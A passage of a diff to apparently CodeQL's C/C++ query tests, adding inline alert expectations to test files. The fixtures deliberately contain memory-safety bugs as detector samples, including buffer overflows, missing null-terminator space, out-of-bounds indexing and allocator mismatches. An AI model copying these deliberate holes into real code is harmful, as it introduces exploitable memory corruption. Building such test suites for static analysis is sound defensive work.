BAD: new[] -> delete // $ Alert[cpp/new-array-delete-mismatch] } char *data; @@ -438,10 +438,10 @@ void test14() wchar_t *s5 = wcsdup(L"string"); wchar_t *s6 = wcsdup(L"string"); - delete s1; // BAD: strdup -> delete + delete s1; // BAD: strdup -> delete // $ Alert[cpp/new-free-mismatch] free(s2); // GOOD - delete s3; // BAD: strndup -> delete + delete s3; // BAD: strndup -> delete // $ Alert[cpp/new-free-mismatch] free(s4); // GOOD - delete s5; // BAD: wcsdup -> delete + delete s5; // BAD: wcsdup -> delete // $ Alert[cpp/new-free-mismatch] free(s6); // GOOD } diff --git a/cpp/ql/test/query-tests/Critical/NewFree/test2.cpp b/cpp/ql/test/query-tests/Critical/NewFree/test2.cpp index 43a286f6f97f..a39ff1c4ee97 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/test2.cpp +++ b/cpp/ql/test/query-tests/Critical/NewFree/test2.cpp @@ -16,14 +16,14 @@ class MyTest2Class MyTest2Class() { int *a = new int; - free(a); // BAD + free(a); // BAD // $ Alert[cpp/new-free-mismatch] int *ptr_b = (int *)malloc(sizeof(int)); int *b = new(ptr_b) int; free(b); // GOOD c = new int; - free(c); // BAD + free(c); // BAD // $ Alert[cpp/new-free-mismatch] int *ptr_d = (int *)malloc(sizeof(int)); d = new(ptr_d) int; @@ -48,13 +48,13 @@ void test_operator_new() delete ptr_new; // GOOD ::operator delete(ptr_new); // GOOD - free(ptr_new); // BAD + free(ptr_new); // BAD // $ Alert[cpp/new-free-mismatch] delete ptr_opnew; // GOOD ::operator delete(ptr_opnew); // GOOD - free(ptr_opnew); // BAD + free(ptr_opnew); // BAD // $ Alert[cpp/new-free-mismatch] - delete ptr_malloc; // BAD - ::operator delete(ptr_malloc); // BAD + delete ptr_malloc; // BAD // $ Alert[cpp/new-free-mismatch] + ::operator delete(ptr_malloc); // BAD // $ Alert[cpp/new-free-mismatch] free(ptr_malloc); // GOOD } diff --git a/cpp/ql/test/query-tests/Critical/NotInitialised/NotInitialised.qlref b/cpp/ql/test/query-tests/Critical/NotInitialised/NotInitialised.qlref index b261c020f534..2a0f2052bea8 100644 --- a/cpp/ql/test/query-tests/Critical/NotInitialised/NotInitialised.qlref +++ b/cpp/ql/test/query-tests/Critical/NotInitialised/NotInitialised.qlref @@ -1 +1,2 @@ -Critical/NotInitialised.ql \ No newline at end of file +query: Critical/NotInitialised.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/NotInitialised/test.cpp b/cpp/ql/test/query-tests/Critical/NotInitialised/test.cpp index bc9093cd53de..c83dabba53d2 100644 --- a/cpp/ql/test/query-tests/Critical/NotInitialised/test.cpp +++ b/cpp/ql/test/query-tests/Critical/NotInitialised/test.cpp @@ -1,6 +1,6 @@ void test1() { int local; - int x = local; // BAD + int x = local; // BAD // $ Alert static int static_local; int y = static_local; // GOOD @@ -9,7 +9,7 @@ void test1() { int z = initialised; // GOOD } -int uninitialised_global; // BAD +int uninitialised_global; // BAD // $ Alert static int uninitialised_static_global; // GOOD int initialized_global = 0; // GOOD diff --git a/cpp/ql/test/query-tests/Critical/OverflowCalculated/NoSpaceForZeroTerminator.qlref b/cpp/ql/test/query-tests/Critical/OverflowCalculated/NoSpaceForZeroTerminator.qlref index 53beb09ebd71..0459fddee60f 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowCalculated/NoSpaceForZeroTerminator.qlref +++ b/cpp/ql/test/query-tests/Critical/OverflowCalculated/NoSpaceForZeroTerminator.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql +query: Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/OverflowCalculated/OverflowCalculated.qlref b/cpp/ql/test/query-tests/Critical/OverflowCalculated/OverflowCalculated.qlref index 9895980e2411..7625942ee0f5 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowCalculated/OverflowCalculated.qlref +++ b/cpp/ql/test/query-tests/Critical/OverflowCalculated/OverflowCalculated.qlref @@ -1 +1,2 @@ -Critical/OverflowCalculated.ql +query: Critical/OverflowCalculated.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests1.cpp b/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests1.cpp index a47679bafc24..8cbaaf3c2e7d 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests1.cpp +++ b/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests1.cpp @@ -23,7 +23,7 @@ void tests1(int case_num) switch (case_num) { case 1: - buffer = (char *)malloc(strlen(str)); // BAD + buffer = (char *)malloc(strlen(str)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str); break; @@ -33,7 +33,7 @@ void tests1(int case_num) break; case 3: - buffer = (char *)malloc(strlen(str) * sizeof(char)); // BAD + buffer = (char *)malloc(strlen(str) * sizeof(char)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str); break; @@ -53,7 +53,7 @@ void tests1(int case_num) break; case 7: - buffer = (char *)realloc(buffer, strlen(str)); // BAD + buffer = (char *)realloc(buffer, strlen(str)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str); break; @@ -64,7 +64,7 @@ void tests1(int case_num) case 9: int len1 = strlen(str); - buffer = (char *)malloc(len1); // BAD + buffer = (char *)malloc(len1); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str); break; @@ -86,7 +86,7 @@ void tests1(int case_num) break; case 101: - wbuffer = (wchar_t *)malloc(wcslen(wstr)); // BAD + wbuffer = (wchar_t *)malloc(wcslen(wstr)); // BAD // $ Alert[cpp/no-space-for-terminator] wcscpy(wbuffer, wstr); break; @@ -106,7 +106,7 @@ void tests1(int case_num) break; case 105: - wbuffer = (wchar_t *)malloc(wcslen(wstr) * sizeof(wchar_t)); // BAD + wbuffer = (wchar_t *)malloc(wcslen(wstr) * sizeof(wchar_t)); // BAD // $ Alert[cpp/no-space-for-terminator] wcscpy(wbuffer, wstr); break; diff --git a/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests2.cpp b/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests2.cpp index 696b566329a3..db6928a7015a 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests2.cpp +++ b/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests2.cpp @@ -31,7 +31,7 @@ void tests2(int case_num) case 1: buffer = (char *)malloc(strlen(str1) + 1); // BAD strcpy(buffer, str1); - strcat(buffer, str2); + strcat(buffer, str2); // $ Alert[cpp/overflow-calculated] break; case 2: @@ -49,7 +49,7 @@ void tests2(int case_num) case 4: buffer = (char *)malloc((strlen(str1) + 1) * sizeof(char)); // BAD strcpy(buffer, str1); - strcat(buffer, str2); + strcat(buffer, str2); // $ Alert[cpp/overflow-calculated] break; case 5: diff --git a/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests3.cpp b/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests3.cpp index 7a2cc19d269c..c50addfdd50e 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests3.cpp +++ b/cpp/ql/test/query-tests/Critical/OverflowCalculated/tests3.cpp @@ -22,12 +22,12 @@ void tests3(int case_num) switch (case_num) { case 1: - buffer = (char *)std::malloc(strlen(str3global)); // BAD + buffer = (char *)std::malloc(strlen(str3global)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str3global); break; case 2: - buffer = (char *)std::malloc(strlen(str3local)); // BAD + buffer = (char *)std::malloc(strlen(str3local)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str3local); break; @@ -50,7 +50,7 @@ void tests3(int case_num) void test3b() { - char *buffer = new char[strlen(str3global)]; // BAD + char *buffer = new char[strlen(str3global)]; // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer, str3global); @@ -78,9 +78,9 @@ void tests4() char *buffer1 = 0; char *buffer2 = 0; - buffer1 = (char *)MyMalloc1(strlen(str4)); // BAD + buffer1 = (char *)MyMalloc1(strlen(str4)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer1, str4); - buffer2 = (char *)MyMalloc2(strlen(str4)); // BAD + buffer2 = (char *)MyMalloc2(strlen(str4)); // BAD // $ Alert[cpp/no-space-for-terminator] strcpy(buffer2, str4); } diff --git a/cpp/ql/test/query-tests/Critical/OverflowStatic/OverflowStatic.qlref b/cpp/ql/test/query-tests/Critical/OverflowStatic/OverflowStatic.qlref index 477af9d71d07..93d88e7802a0 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowStatic/OverflowStatic.qlref +++ b/cpp/ql/test/query-tests/Critical/OverflowStatic/OverflowStatic.qlref @@ -1 +1,2 @@ -Critical/OverflowStatic.ql +query: Critical/OverflowStatic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/OverflowStatic/test.c b/cpp/ql/test/query-tests/Critical/OverflowStatic/test.c index 3c726a452b9b..9072df0feb6c 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowStatic/test.c +++ b/cpp/ql/test/query-tests/Critical/OverflowStatic/test.c @@ -11,14 +11,14 @@ void f(void) { c = xs[-1]; // BAD [NOT DETECTED] c = xs[0]; // GOOD c = xs[4]; // GOOD - c = xs[5]; // BAD - c = xs[6]; // BAD + c = xs[5]; // BAD // $ Alert + c = xs[6]; // BAD // $ Alert c = stru.ys[-1]; // BAD [NOT DETECTED] c = stru.ys[0]; // GOOD c = stru.ys[4]; // GOOD - c = stru.ys[5]; // BAD - c = stru.ys[6]; // BAD + c = stru.ys[5]; // BAD // $ Alert + c = stru.ys[6]; // BAD // $ Alert c = stru.zs[-1]; // BAD [NOT DETECTED] c = stru.zs[0]; // GOOD (zs is variable size) diff --git a/cpp/ql/test/query-tests/Critical/OverflowStatic/test.cpp b/cpp/ql/test/query-tests/Critical/OverflowStatic/test.cpp index deeb70ffd57d..0248f71e30b5 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowStatic/test.cpp +++ b/cpp/ql/test/query-tests/Critical/OverflowStatic/test.cpp @@ -16,14 +16,14 @@ void f1(void) } for (i = 0; i < 4; i++) { - buffer1[i] = 0; // BAD - buffer2[i] = 0; // BAD + buffer1[i] = 0; // BAD // $ Alert + buffer2[i] = 0; // BAD // $ Alert } memcpy(buffer1, buffer2, 3); // GOOD - memcpy(buffer1, buffer2, 4); // BAD + memcpy(buffer1, buffer2, 4); // BAD // $ Alert memcpy(buffer2, buffer1, 3); // GOOD - memcpy(buffer2, buffer1, 4); // BAD + memcpy(buffer2, buffer1, 4); // BAD // $ Alert } void f2(char *src) @@ -37,7 +37,7 @@ void f2(char *src) amount = amount + 1; memcpy(buffer, src, amount); // BAD [NOT DETECTED] amount = 101; - memcpy(buffer, src, amount); // BAD + memcpy(buffer, src, amount); // BAD // $ Alert ptr = buffer; memcpy(ptr, src, 101); // BAD [NOT DETECTED] diff --git a/cpp/ql/test/query-tests/Critical/OverflowStatic/test2.c b/cpp/ql/test/query-tests/Critical/OverflowStatic/test2.c index cd836d759880..f1f28fbc76e0 100644 --- a/cpp/ql/test/query-tests/Critical/OverflowStatic/test2.c +++ b/cpp/ql/test/query-tests/Critical/OverflowStatic/test2.c @@ -25,14 +25,14 @@ size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); void bad0(char *src, FILE *f, va_list ap) { char buffer[40]; - fgets(buffer, 41, f); // BAD: Too many characters read - strncpy(buffer, src, 43); // BAD: Too many characters copied + fgets(buffer, 41, f); // BAD: Too many characters read // $ Alert + strncpy(buffer, src, 43); // BAD: Too many characters copied // $ Alert buffer[0] = 0; - strncat(buffer, src, 44); // BAD: Too many characters copied - memcpy(buffer, src, 45); // BAD: Too many characters copied - memmove(buffer, src, 46); // BAD: Too many characters copied - snprintf(buffer, 47, "%s", src); // BAD: Too many characters copied - vsnprintf(buffer, 48, "%s", ap); // BAD: Too many characters copied + strncat(buffer, src, 44); // BAD: Too many characters copied // $ Alert + memcpy(buffer, src, 45); // BAD: Too many characters copied // $ Alert + memmove(buffer, src, 46); // BAD: Too many characters copied // $ Alert + snprintf(buffer, 47, "%s", src); // BAD: Too many characters copied // $ Alert + vsnprintf(buffer, 48, "%s", ap); // BAD: Too many characters copied // $ Alert } void good0(char *src, FILE *f, va_list ap) { diff --git a/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/ReturnValueIgnored.qlref b/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/ReturnValueIgnored.qlref index 102d4b7138ce..cd7a89e3ea59 100644 --- a/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/ReturnValueIgnored.qlref +++ b/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/ReturnValueIgnored.qlref @@ -1 +1,2 @@ -Critical/ReturnValueIgnored.ql +query: Critical/ReturnValueIgnored.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/test.cpp b/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/test.cpp index 4fbf1f00e33f..f5f138faea5c 100644 --- a/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/test.cpp +++ b/cpp/ql/test/query-tests/Critical/ReturnValueIgnored/test.cpp @@ -29,7 +29,7 @@ int main() check(myFunction()); // GOOD - myFunction(); // BAD (return value is ignored) + myFunction(); // BAD (return value is ignored) // $ Alert (void)myFunction(); // GOOD } diff --git a/cpp/ql/test/query-tests/Critical/SizeCheck/SizeCheck2.qlref b/cpp/ql/test/query-tests/Critical/SizeCheck/SizeCheck2.qlref index ca677973aea1..b23dbb86fd80 100644 --- a/cpp/ql/test/query-tests/Critical/SizeCheck/SizeCheck2.qlref +++ b/cpp/ql/test/query-tests/Critical/SizeCheck/SizeCheck2.qlref @@ -1 +1,2 @@ -Critical/SizeCheck2.ql +query: Critical/SizeCheck2.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/SizeCheck/test2.c b/cpp/ql/test/query-tests/Critical/SizeCheck/test2.c index 714ca5de9c88..2dedb4e9047a 100644 --- a/cpp/ql/test/query-tests/Critical/SizeCheck/test2.c +++ b/cpp/ql/test/query-tests/Critical/SizeCheck/test2.c @@ -13,8 +13,8 @@ void free(void *ptr); void bad0(void) { - long long *lptr = malloc(27); // BAD -- Not a multiple of sizeof(long long) - double *dptr = malloc(33); // BAD -- Not a multiple of sizeof(double) + long long *lptr = malloc(27); // BAD -- Not a multiple of sizeof(long long) // $ Alert + double *dptr = malloc(33); // BAD -- Not a multiple of sizeof(double) // $ Alert free(lptr); free(dptr); } @@ -29,8 +29,8 @@ void good0(void) { void bad1(void) { - long long *lptr = malloc(sizeof(long long)*7/2); // BAD -- Not a multiple of sizeof(long long) - double *dptr = malloc(sizeof(double)*5/2); // BAD -- Not a multiple of sizeof(double) + long long *lptr = malloc(sizeof(long long)*7/2); // BAD -- Not a multiple of sizeof(long long) // $ Alert + double *dptr = malloc(sizeof(double)*5/2); // BAD -- Not a multiple of sizeof(double) // $ Alert free(lptr); free(dptr); } @@ -82,5 +82,5 @@ void varStructTests() { MyVarStruct1 *a = malloc(sizeof(MyVarStruct1) + 127); // GOOD MyVarStruct2 *b = malloc(sizeof(MyVarStruct2) + 127); // GOOD MyVarStruct3 *c = malloc(sizeof(MyVarStruct3) + 127); // GOOD - MyFixedStruct *d = malloc(sizeof(MyFixedStruct) + 127); // BAD --- Not a multiple of sizeof(MyFixedStruct) + MyFixedStruct *d = malloc(sizeof(MyFixedStruct) + 127); // BAD --- Not a multiple of sizeof(MyFixedStruct) // $ Alert } diff --git a/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/UnsafeUseOfThis.qlref b/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/UnsafeUseOfThis.qlref index 086427166cb0..1bd76706524d 100644 --- a/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/UnsafeUseOfThis.qlref +++ b/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/UnsafeUseOfThis.qlref @@ -1 +1,2 @@ -Likely Bugs/OO/UnsafeUseOfThis.ql \ No newline at end of file +query: Likely Bugs/OO/UnsafeUseOfThis.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/test.cpp b/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/test.cpp index 900418b20ea8..d74cbd39b486 100644 --- a/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/test.cpp +++ b/cpp/ql/test/query-tests/Critical/UnsafeUseOfThis/test.cpp @@ -4,35 +4,35 @@ struct B; void call_f(B*); struct B : public A { - B() { + B() { // $ Source[cpp/unsafe-use-of-this]=r4 call_f(this); } B(B& b) { - b.f(); // BAD: undefined behavior + b.f(); // BAD: undefined behavior // $ Alert[cpp/unsafe-use-of-this]=r1 } - ~B() { - f(); // BAD: undefined behavior + ~B() { // $ Source[cpp/unsafe-use-of-this]=r2 + f(); // BAD: undefined behavior // $ Alert[cpp/unsafe-use-of-this]=r2 } }; struct C : public B { - C(bool b) { + C(bool b) { // $ Source[cpp/unsafe-use-of-this]=r3 Source[cpp/unsafe-use-of-this]=r5 call_f(this); if(b) { - this->f(); // BAD: undefined behavior + this->f(); // BAD: undefined behavior // $ Alert[cpp/unsafe-use-of-this]=r3 } } }; struct D : public B { - D() : B(*this) {} + D() : B(*this) {} // $ Source[cpp/unsafe-use-of-this]=r1 }; void call_f(B* x) { - x->f(); // 2 x BAD: Undefined behavior + x->f(); // 2 x BAD: Undefined behavior // $ Alert[cpp/unsafe-use-of-this]=r4 Alert[cpp/unsafe-use-of-this]=r5 } struct E : public A { diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref b/cpp/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref index e900e9c5314b..58bc903a431d 100644 --- a/cpp/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref +++ b/cpp/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -Diagnostics/ExtractedFiles.ql +query: Diagnostics/ExtractedFiles.ql diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref b/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref index 1bf951f18994..9f9498e49c7f 100644 --- a/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref +++ b/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref @@ -1 +1 @@ -Diagnostics/Internal/ExtractionErrors.ql +query: Diagnostics/Internal/ExtractionErrors.ql diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref b/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref index 2df3d933e8ae..68969e9bbf1c 100644 --- a/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref +++ b/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.qlref @@ -1 +1 @@ -Diagnostics/ExtractionWarnings.ql +query: Diagnostics/ExtractionWarnings.ql diff --git a/cpp/ql/test/query-tests/Diagnostics/FailedExtractorInvocations.qlref b/cpp/ql/test/query-tests/Diagnostics/FailedExtractorInvocations.qlref index e3f6cd687d3d..3484d485f1e5 100644 --- a/cpp/ql/test/query-tests/Diagnostics/FailedExtractorInvocations.qlref +++ b/cpp/ql/test/query-tests/Diagnostics/FailedExtractorInvocations.qlref @@ -1 +1 @@ -Diagnostics/FailedExtractorInvocations.ql +query: Diagnostics/FailedExtractorInvocations.ql diff --git a/cpp/ql/test/query-tests/Documentation/CommentedOutCode/CommentedOutCode.qlref b/cpp/ql/test/query-tests/Documentation/CommentedOutCode/CommentedOutCode.qlref index ae0fe399adcf..2597ad4e923f 100644 --- a/cpp/ql/test/query-tests/Documentation/CommentedOutCode/CommentedOutCode.qlref +++ b/cpp/ql/test/query-tests/Documentation/CommentedOutCode/CommentedOutCode.qlref @@ -1 +1,2 @@ -Documentation/CommentedOutCode.ql +query: Documentation/CommentedOutCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test.c b/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test.c index 2fce1b0e9827..b3cbe90b4f8c 100644 --- a/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test.c +++ b/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test.c @@ -1,16 +1,16 @@ -// commented out code; +// commented out code; // $ Alert // some; // commented; // out; -// code; +// code; // $ Alert // also; // this // is; // commented-out -// code; +// code; // $ Alert // this // is; @@ -23,7 +23,7 @@ commented; out; code; -*/ +*/ // $ Alert /* also; @@ -31,7 +31,7 @@ is; commented-out code; -*/ +*/ // $ Alert /* this diff --git a/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test2.cpp b/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test2.cpp index e7a8019286f3..4818430d85d0 100644 --- a/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test2.cpp +++ b/cpp/ql/test/query-tests/Documentation/CommentedOutCode/test2.cpp @@ -34,21 +34,21 @@ // Example: { 1, 2, 3, 4 } -// int myFunction() { return myValue; } +// int myFunction() { return myValue; } // $ Alert -// int myFunction() const { return myValue; } +// int myFunction() const { return myValue; } // $ Alert -// int myFunction() const noexcept { return myValue; } +// int myFunction() const noexcept { return myValue; } // $ Alert -// #define MYMACRO +// #define MYMACRO // $ Alert -// #include "include.h" +// #include "include.h" // $ Alert /* #ifdef void myFunction(); #endif -*/ +*/ // $ Alert // define some constants @@ -56,15 +56,15 @@ void myFunction(); // #hashtag -// #if(defined(MYMACRO)) +// #if(defined(MYMACRO)) // $ Alert // #iffy -// #pragma once +// #pragma once // $ Alert -// # pragma once +// # pragma once // $ Alert -/*#error"myerror"*/ +/*#error"myerror"*/ // $ Alert #ifdef MYMACRO @@ -92,7 +92,7 @@ void myFunction(); #ifdef MYMACRO // ... #endif // #ifdef MYMACRO -*/ +*/ // $ Alert #ifdef MYMACRO1 @@ -104,7 +104,7 @@ void myFunction(); #endif // #ifdef MYMACRO2 #endif // #ifdef MYMACRO1 -#include "config.h" // #include "config2.h" +#include "config.h" // #include "config2.h" // $ Alert #ifdef MYMACRO @@ -112,10 +112,10 @@ void myFunction(); #endif /* #ifdef MYMACRO */ -#error "error" /* #ifdef MYMACRO */ +#error "error" /* #ifdef MYMACRO */ // $ Alert -// commented_out_code(); +// commented_out_code(); // $ Alert #if 0 - // commented_out_code(); + // commented_out_code(); // $ Alert #endif diff --git a/cpp/ql/test/query-tests/Documentation/DocumentApi/DocumentApi.qlref b/cpp/ql/test/query-tests/Documentation/DocumentApi/DocumentApi.qlref index 41bcfe740bb4..f46b3b829259 100644 --- a/cpp/ql/test/query-tests/Documentation/DocumentApi/DocumentApi.qlref +++ b/cpp/ql/test/query-tests/Documentation/DocumentApi/DocumentApi.qlref @@ -1 +1,2 @@ -Documentation/DocumentApi.ql +query: Documentation/DocumentApi.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Documentation/DocumentApi/comment_prototypes.c b/cpp/ql/test/query-tests/Documentation/DocumentApi/comment_prototypes.c index bb05ef8c015f..398e84f6f6a0 100644 --- a/cpp/ql/test/query-tests/Documentation/DocumentApi/comment_prototypes.c +++ b/cpp/ql/test/query-tests/Documentation/DocumentApi/comment_prototypes.c @@ -26,12 +26,12 @@ void proto5(void) { int i2; int i3; } -void proto6(void) { +void proto6(void) { // $ Alert int i1; int i2; int i3; } -void proto7(void) { +void proto7(void) { // $ Alert int i1; int i2; int i3; @@ -42,17 +42,17 @@ void proto8(void) { int i2; int i3; } -void proto9(void) { +void proto9(void) { // $ Alert int i1; int i2; int i3; } -void proto10(void) { +void proto10(void) { // $ Alert int i1; int i2; int i3; } -void proto11(void) { +void proto11(void) { // $ Alert int i1; int i2; int i3; @@ -63,7 +63,7 @@ void proto12(void) { int i2; int i3; } -void proto13(void) { +void proto13(void) { // $ Alert int i1; int i2; int i3; diff --git a/cpp/ql/test/query-tests/Documentation/DocumentApi/definition.c b/cpp/ql/test/query-tests/Documentation/DocumentApi/definition.c index 1894482d62f2..650bac038a0e 100644 --- a/cpp/ql/test/query-tests/Documentation/DocumentApi/definition.c +++ b/cpp/ql/test/query-tests/Documentation/DocumentApi/definition.c @@ -1,5 +1,5 @@ -void f1(void) { +void f1(void) { // $ Alert int x1; int x2; int x3; @@ -29,7 +29,7 @@ void f5(void) { int x3; } -void f6(void) { +void f6(void) { // $ Alert int x1; int x2; int x3; diff --git a/cpp/ql/test/query-tests/Documentation/TodoComments/FixmeComments.qlref b/cpp/ql/test/query-tests/Documentation/TodoComments/FixmeComments.qlref index 8392f493657e..b81e1a2fcbe5 100644 --- a/cpp/ql/test/query-tests/Documentation/TodoComments/FixmeComments.qlref +++ b/cpp/ql/test/query-tests/Documentation/TodoComments/FixmeComments.qlref @@ -1 +1,2 @@ -Documentation/FixmeComments.ql +query: Documentation/FixmeComments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Documentation/TodoComments/TodoComments.qlref b/cpp/ql/test/query-tests/Documentation/TodoComments/TodoComments.qlref index bb57dbe50cee..9bee8d3dbfb3 100644 --- a/cpp/ql/test/query-tests/Documentation/TodoComments/TodoComments.qlref +++ b/cpp/ql/test/query-tests/Documentation/TodoComments/TodoComments.qlref @@ -1 +1,2 @@ -Documentation/TodoComments.ql +query: Documentation/TodoComments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Documentation/TodoComments/todo.c b/cpp/ql/test/query-tests/Documentation/TodoComments/todo.c index da16a6640920..e20f4be97547 100644 --- a/cpp/ql/test/query-tests/Documentation/TodoComments/todo.c +++ b/cpp/ql/test/query-tests/Documentation/TodoComments/todo.c @@ -1,14 +1,14 @@ -/* TODO This is a simple to do comment */ +/* TODO This is a simple to do comment */ // $ Alert[cpp/todo-comment] -/* TODO */ +/* TODO */ // $ Alert[cpp/todo-comment] /* TODO This is a - * multi-line comment */ + * multi-line comment */ // $ Alert[cpp/todo-comment] /* Some comment * TODO This is a mid-comment - * multi-line comment */ + * multi-line comment */ // $ Alert[cpp/todo-comment] /* Some comment * with a TODO This is a mid-comment mid-line @@ -18,9 +18,9 @@ * TODO This is a mid-comment * multi-line comment with two * TODO comments - * inside it */ + * inside it */ // $ Alert[cpp/todo-comment] -/* TODO This comment mentions TODO in its body too */ +/* TODO This comment mentions TODO in its body too */ // $ Alert[cpp/todo-comment] -// TODO: Can have C++-style comments too +// TODO: Can have C++-style comments too // $ Alert[cpp/todo-comment] diff --git a/cpp/ql/test/query-tests/Documentation/TodoComments/todo_fixme.cpp b/cpp/ql/test/query-tests/Documentation/TodoComments/todo_fixme.cpp index 5162d68f39ab..a5563e803ebc 100644 --- a/cpp/ql/test/query-tests/Documentation/TodoComments/todo_fixme.cpp +++ b/cpp/ql/test/query-tests/Documentation/TodoComments/todo_fixme.cpp @@ -1,13 +1,13 @@ -// TODO: Thing 1. -/* TODO: Thing 2. */ +// TODO: Thing 1. // $ Alert[cpp/todo-comment] +/* TODO: Thing 2. */ // $ Alert[cpp/todo-comment] /** * TODO: Thing 3. - */ + */ // $ Alert[cpp/todo-comment] // For more things, read the /usr/local/doc/TODO file. -// FIXME: Bug 1. -/* FIXME: Bug 2. */ +// FIXME: Bug 1. // $ Alert[cpp/fixme-comment] +/* FIXME: Bug 2. */ // $ Alert[cpp/fixme-comment] /** * FIXME: Bug 3. - */ + */ // $ Alert[cpp/fixme-comment] // For more bugs, read the /usr/local/doc/FIXME file. diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/Cleanup-DuplicateIncludeGuard.qlref b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/Cleanup-DuplicateIncludeGuard.qlref index 1e431289b172..d179ad8e2380 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/Cleanup-DuplicateIncludeGuard.qlref +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/Cleanup-DuplicateIncludeGuard.qlref @@ -1 +1,2 @@ -Header Cleanup/Cleanup-DuplicateIncludeGuard.ql \ No newline at end of file +query: Header Cleanup/Cleanup-DuplicateIncludeGuard.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header1.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header1.h index a0fa07dbb50a..7de21f0b2b3c 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header1.h +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header1.h @@ -1,6 +1,6 @@ // header1.h -#ifndef INCLUDED_HEADER1 +#ifndef INCLUDED_HEADER1 // $ Alert #define INCLUDED_HEADER1 // ... diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header2.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header2.h index 9e4ad972812b..cf39b45c0fa8 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header2.h +++ b/cpp/ql/test/query-tests/Header 